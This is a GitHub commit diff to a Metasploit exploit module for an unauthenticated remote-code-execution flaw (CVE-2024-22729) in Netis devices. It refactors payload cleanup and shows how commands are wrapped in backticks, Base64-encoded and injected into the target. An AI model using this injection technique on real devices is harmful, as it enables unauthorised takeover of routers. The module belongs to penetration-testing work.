Skip to content

Commit 4e26704

Browse files
committed
Update addressing cdelafuente-r7 comments
1 parent 6a77c2e commit 4e26704

File tree

1 file changed

+4
-9
lines changed

1 file changed

+4
-9
lines changed

modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb

Lines changed: 4 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -72,9 +72,10 @@ def initialize(info = {})
7272
end
7373

7474
def execute_command(cmd, _opts = {})
75-
# store name of payload and cleanup payload file when session is established (see def on_new_session)
76-
@payload_name = cmd.split('+x')[1].strip if cmd.include?('chmod +x')
77-
75+
# cleanup payload file when session is established.
76+
if cmd.include?('chmod +x')
77+
register_files_for_cleanup(cmd.split('+x')[1].strip)
78+
end
7879
# skip last command to remove payload because it does not work
7980
unless cmd.include?('rm -f')
8081
payload = Base64.strict_encode64("`#{cmd}`")
@@ -91,12 +92,6 @@ def execute_command(cmd, _opts = {})
9192
end
9293
end
9394

94-
def on_new_session(_session)
95-
# cleanup payload file
96-
register_files_for_cleanup(@payload_name.to_s)
97-
super
98-
end
99-
10095
def check
10196
print_status("Checking if #{peer} can be exploited.")
10297
res = send_request_cgi({

0 commit comments

Comments
 (0)